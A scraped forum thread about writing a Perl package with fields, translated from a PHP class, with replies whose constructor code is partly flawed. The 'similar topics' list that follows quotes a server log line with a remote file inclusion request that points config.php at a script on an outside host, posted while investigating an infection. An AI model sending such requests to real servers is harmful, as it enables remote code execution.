My brain must be running slow because of New Year, but I'm missing the
trick to define fields for a package.
In php, I'd do:
----
<?php
class MyObj{
var $param1;
function MyObj(){$this->param1 = "Hello";}
function Hello(){echo $this->param1;}
}
$test = new MyObj;
$test->Hello();
?>
----
However this doesn't seem to be the correct perl translation:
----
package MyObj;
my $param1 = "";
sub new {
my $newobject = {};
bless $newobject;
my $param1 = "Hello";
return $newobject;
}
sub Hello {
print my $param1;
}
$test = new MyObj;
$test->Hello();
----
Ideas anyone ? (besides switching to php, which I unfortunatly can't).
PS: I tried posting on the perl newsgroup first, but Google Groups
didn't seem to be in the mood ("comp.lang.per l doesn't exist", rofl). 13 1940
Wildpeaks wrote: Ideas anyone ? (besides switching to php, which I unfortunatly can't).
sub new {
my $newobject = shift;
bless {};
$param1 = "Hello";
return $newobject;
}
PS: I tried posting on the perl newsgroup first, but Google Groups didn't seem to be in the mood ("comp.lang.per l doesn't exist", rofl). http://groups.google.nl/groups?hl=nl...comp.lang.perl
But since this is very basic Perl, the only reply would have been RTFM
anyways ;-)
JW
Janwillem Borleffs wrote: sub new { my $newobject = shift; bless {}; $param1 = "Hello"; return $newobject; }
To complete my reply, the Hello sub should be as follows:
sub Hello {
print $param1;
}
Now, back to PHP!
JW
Janwillem Borleffs wrote: Janwillem Borleffs wrote: sub new { my $newobject = shift; bless {}; $param1 = "Hello"; return $newobject; }
To complete my reply, the Hello sub should be as follows:
sub Hello { print $param1; }
Now, back to PHP!
Yup, since your Perl is bad :-(
package MyObj;
my $param1 = 'Hello';
sub new { return __PACKAGE__ }
sub Hello { print $param1 }
package main;
my $test = new MyObj;
$test->Hello();
--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced programmer available: http://castleamber.com/
Happy Customers: http://castleamber.com/testimonials.html
> > PS: I tried posting on the perl newsgroup first, but Google Groups didn't seem to be in the mood ("comp.lang.pe rl doesn't exist", rofl). http://groups.google.nl/groups?hl=nl...comp.lang.perl
I *can* view the ng, but when posting, it was refusing
to post at the last step.
But since this is very basic Perl, the only reply would have been RTFM anyways ;-)
I had RTFM but hadn't find the answer to that precise question,
therefore the post, heh. I post in ng only in last resort.
Ah, PHP is so much easier :-)
John Bokma wrote: Yup, since your Perl is bad :-(
You never use strict, don't you?
And please enlighten me why your perl is better, because I don't see it.
JW
Janwillem Borleffs wrote: John Bokma wrote: Yup, since your Perl is bad :-(
BTW, it should be __PACKAGE__
JW
>Yup, since your Perl is bad :-( [...]
Ah it was one damn word then, thanks :-)
Janwillem Borleffs wrote: BTW, it should be __PACKAGE__
Nah, you had it right. But I still want to know from you why think that your
syntax is better.
JW
Janwillem Borleffs wrote: Nah, you had it right. But I still want to know from you why think that your syntax is better.
The difference appears to be that my constructor adds an anonymous hash to
the object, which isn't used anymore, while your constructor doesn't.
In that context I can see why you think my perl coding is bad...
JW This thread has been closed and replies have been disabled. Please start a new discussion. Similar topics |
by: Wayne Folta |
last post by:
I've been a long-time Perl programmer, though I've not used a boatload
of packages nor much of the tacky OO.
A couple of years ago, I decided to look into Python and Ruby. Python
looked OK, but not that different. I did like the indent-as-group idea,
which was different. Ruby looked very cool. But it was impossible to
get good documentation. It seemed like a Japanese cult with a few
western initiates.
Well, MacOS X ships with Perl,...
|
by: Fred Ma |
last post by:
Hello,
This is not a troll posting, and I've refrained from
asking because I've seen similar threads get all
nitter-nattery. But I really want to make a decision
on how best to invest my time. I'm not interested on
which language is better in *general*, just for my
purpose. My area of research is in CAD algorithms,
and I'm sensing the need to resort to something more
expedient than C++, bash scripting, or sed scripting.
|
by: Xah Lee |
last post by:
© # -*- coding: utf-8 -*-
© # Python
©
© # in Python, one can define a boxed set
© # of data and functions, which are
© # traditionally known as "class".
©
© # in the following, we define a set of data
© # and functions as a class, and name it xxx
© class xxx:
|
by: John Smith |
last post by:
Can someone point me to an example of how to implement and access the kind
of object shown below?
Most of the examples if found are an object that contains one other object.
I need to create an object that contains a hash of sub-objects each
sub-object is made up of a number of different objects and an array of an
object type.
Object1 contains scalars
|
by: CBFalconer |
last post by:
I released this under GPL some time ago, (2003-May) and have been
advertising it occasionally here, where it seemed applicable. I
have received no bug reports.
I have just gotten around to writing a usage manual for it, which
follows. I would like some opinions on it. Please don't quote the
whole thing back at me, a short excerpt followed by your pithy
commentary will do nicely. I am off for an operation Monday,
so I won't be...
| |
by: Kirt Loki Dankmyer |
last post by:
So, I download the latest "stable" tar for perl (5.8.7) and try to compile
it on the Solaris 8 (SPARC) box that I administrate. I try all sorts of
different switches, but I can't get it to compile. I need it to be
compiled with threads.
Anyone have any wisdom on how best to do this?
Here's a transcript of my latest attempt. It's long; you might want to
skip to the bottom, where I try "make" and the fatal errors start
happening.
|
by: Otto J. Makela |
last post by:
I'm trying to install to php the Perl-1.0.0.tgz package (from
http://pecl.php.net/package/perl, enabling one to call perl libraries)
to a pre-existing Solaris system.
Unfortunately, the attempt fails in a rather dramatic way, spewing out
thousands of "relocation remains"... I'm somewhat lost on what to do
next, the documentation that came along with the Perl package is
somewhat sparse. Anyone have suggestions?
% uname -a
|
by: Ignoramus6539 |
last post by:
There were some strange requests to my server asking for config.php
file (which I do not have in the requested location).
I did some investigation. Seems to be a virus written in perl,
exploiting a vulnerability in php code.
The requests are like this
216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
|
by: bthalapathi |
last post by:
I have written a script to connect the mysql db
#!/usr/bin/perl -w
use DBI;
#definition of variables
$db="MYTEST";
$host="localhost";
$user="root";
$password="rootpass";
|
by: Hystou |
last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it.
First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
|
by: Oralloy |
last post by:
Hello folks,
I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>".
The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed.
This is as boiled down as I can make it.
Here is my compilation command:
g++-12 -std=c++20 -Wnarrowing bit_field.cpp
Here is the code in...
| |
by: jinu1996 |
last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth.
The Art of Business Website Design
Your website is...
|
by: Hystou |
last post by:
Overview:
Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
|
by: tracyyun |
last post by:
Dear forum friends,
With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
|
by: isladogs |
last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM).
In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules.
He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms.
Adolph will...
|
by: TSSRALBI |
last post by:
Hello
I'm a network technician in training and I need your help.
I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs.
The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols.
I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
|
by: adsilva |
last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
| |
by: bsmnconsultancy |
last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...
| |